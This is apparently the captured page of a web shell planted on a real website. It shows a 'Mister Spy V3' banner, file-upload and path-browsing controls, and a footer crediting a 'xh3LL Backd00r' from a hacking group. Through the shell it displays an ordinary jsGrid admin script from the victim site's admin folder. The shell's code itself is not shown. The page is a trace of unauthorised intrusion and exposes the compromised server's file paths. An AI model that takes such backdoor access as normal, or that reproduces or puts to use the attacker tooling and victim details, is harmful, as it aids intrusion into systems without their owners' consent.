Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/js/jquery.jsgrid.categorias.init.js

/**
* Theme: Ubold Admin Template
* Author: Coderthemes
* JsGrid page
*/


/**
 * JsGrid Controller
 */

var urlJsonData = "json-categorias.php?IdTipo=" + IdTipo;
var urlJsonAdd = "json-categorias-add.php";
var urlJsonMod = "json-categorias-mod.php";
var urlJsonDel = "json-categorias-del.php";
var EntidadNombre = "Categorias";

disableInsert = true;
disableEdit = true;

var fields_grid =  [
                {
                	name: "Nombre", 
                	title: "Nombre",
                	type: "text", 
                	width: "10%", 
                	validate: {
                		validator: "required",
                		message: "Ingrese el nombre"
                	}
                },
                {
                	name: "Descripcion", 
                	title: "Descripción",
                	type: "text", 
                	width: "20%", 
                	validate: {
                	}
                },
                {
                	name: "Anio", 
                	title: "Año",
                	type: "text", 
                	width: "10%", 
                	validate: {
                	}
                },
                {
                	name: "Disponible", 
                	title: "Estado",
                	type: "select", 
                	items: Estados, 
                	valueField: "IdEstado", 
                	textField: "Descripcion",
                	width: "20%", 
                	validate: {
                		validator: function(value) { return value > 0; },
                		message: "Seleccione un estado"
                	}
                },
                {
                	type: "control",
                	deleteButtonTooltip: "Eliminar",
            		searchButtonTooltip: "Buscar",
            		editButtonTooltip: "Editar",
            		cancelEditButtonTooltip: "Cancelar",
            		updateButtonTooltip: "Refrescar",
            		insertButtonTooltip: "Insertar",
            		headerTemplate: function() {
                    	return '';
                	},
                	itemTemplate: function(value, item) {
                		var $result = jsGrid.fields.control.prototype.itemTemplate.apply(this, arguments);
                		
                		
                		var $el = $('<input class="jsgrid-button jsgrid-search-button" type="button" title="Ver galer&iacute;a">');
                		
                		var eb = $result[0];
                		
                		
                		$el.on("click", function() {
                        	       window.location.href = "imagegallery.php?IdCategoria=" + item.IdCategoria;
                		});
                		
                		$(eb).on("click", function () {
                			$('#modal-update #IdCategoria').val(item.IdCategoria);
                			$('#modal-update #NombreU').val(item.Nombre);
                			$('#modal-update #AnioU').val(item.Anio);
                			$('#modal-update #DescripcionU').val(item.Descripcion);
                			if (item.Disponible == '1' || item.Disponible == 1) {
                				$('#modal-update #DisponibleU').attr('checked', 'checked');
                			} else {
                				$('#modal-update #DisponibleU').removeAttr('checked');
                			}
                			
                        	Custombox.open({
                				target: '#modal-update',
               					effect: 'fadein',
               					overlaySpeed: 200,
               					overlayColor: '#36404a'
            				});
                        });
                            
    					return $result.add($el);
                	}
            	}
            ];

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat